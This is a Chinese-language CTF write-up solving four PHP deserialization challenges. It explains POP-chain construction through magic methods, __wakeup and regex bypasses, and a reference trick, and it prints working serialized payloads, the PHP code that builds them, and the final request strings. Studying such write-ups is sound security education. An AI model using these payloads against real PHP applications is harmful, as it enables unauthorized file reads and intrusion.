[NewStarCTF 公开赛赛道]UnserializeOne
分析代码,最终需要调用到 file_get_contents 即可获得flag
从后往前分析
触发 __invoke 需要
以调用函数的方式调用一个对象
可以找到Start类 里的__isset中可以将类当作函数调用
所以需要调用到 __isset 就需要 isset() 或 empty() ,可以发现在 eeee类中存在
又需要调用 __clone 方法,当对象被复制时调用,
再继续找,可以发现在Easy 类里存在 clone , 只要将 $var 实例化为一个对象 就可满足条件
这又需要去调用到 __call 方法,在对象中调用一个不可访问方法时,__call() 会被调用
可以发现在 Sec 类 中 使用了一个 check()方法,但是这个方法是不存在的,正好满足__call() 的条件,这又需要调用到 __toString 方法,一个类被当成字符串时被调用,
可以在Start类中发现,将 $name 实例化为一个类就可满足类被当作字符串使用
这需要调用到__destruct ,对传入的 pop 参数的值 反序列化就可以调用,这样就可以串起来了
Start类 - __destruct ---> Sec类- __toString ---> Easy类 -__call ---> eeee类-__clone
---> Start类- __isset ---> Sec 类- __invoke --->file_get_contents
链子出来了,就需要去本地构造序列化了
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
尝试了几次失败的,构造的有点问题
// $a=new Start(new Sec(new Easy(new eeee(new Start(new Sec())))));
// O:5:"Start":2:{s:4:"name";N;s:4:"func";N;}
// $a=new Start();
// $a->name=new Sec();
// $a->name->obj=new Easy(new eeee(new Start(new Sec())));
// O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";N;}s:4:"func";N;}
$a=new Start();
$a->name=new Sec();
$a->name->obj=new Easy();
$a->name->var=new eeee();
$a->name->var->obj=new Start();
$a->name->var->obj->func=new Sec();
echo serialize($a);
// O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}
最后这个可以成功得到flag
Web_php_unserialize
需要绕过的点:
__wakeup 绕过 : 修改序列化字符串中属性的数量,使其比实际属性数量多
preg_match('/[oc]:\d+:/i', $var):表示匹配o或c加冒号加任意数字的形式
绕过:在数字前面加上 + 即可绕过
因为需要 base64编码 代码里面使用了private 又麻烦了点,不能直接序列化后改,
使用函数去改
<?php
class Demo {
private $file = 'index.php';
}
$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b=str_replace('O:','O:+',$b);
$b=str_replace('s:','s:+',$b);
$b=str_replace('"Demo":1','"Demo":2',$b);
echo $b;
echo base64_encode($b);
//Tzo0OiJEZW1vIjoyOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9
?var=TzorNDoiRGVtbyI6Mjp7czorMTA6IgBEZW1vAGZpbGUiO3M6Kzg6ImZsNGcucGhwIjt9
unserialize3
绕过__wakeup : 修改序列化字符串中属性的数量,使其比实际属性数量多
<?php
class xctf{
public $flag = '111';
}
$a= new xctf();
$a=serialize($a);
echo $a;
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
BUU CODE REVIEW 1
关键点在于要使 $correct === $input 但是每次执行 $ccorrect 都会被赋予一个新的量,
所以使用 & 符号 使$input指向$correct 的地址,就能保证它们的值相等,因为都是指向的同一个地址,是同一个值
<?php
class BUU {
public $correct = "";
public $input = "";
}
$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);
//O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
然后就是 md5的弱比较,直接传数组比较简单
GET: ?pleaseget=1
POST: pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}